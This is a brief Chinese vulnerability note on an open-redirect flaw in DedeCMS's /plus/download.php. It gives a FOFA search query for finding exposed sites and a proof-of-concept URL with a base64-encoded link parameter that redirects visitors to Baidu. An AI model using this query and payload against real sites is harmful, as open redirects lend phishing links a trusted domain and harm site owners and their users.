dedecms url跳转漏

1-fofa语句搜索：

body="/plus/download.php" 

 

 

2-漏洞poc

/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D

 

打开fofa搜索到的资产，在url后面拼接poc：

http://xxxx.com/plus/download.php?open=1&link=aHR0cDovL3d3dy5iYWlkdS5jb20%3D

 

 

 

 

发送请求，跳转到百度；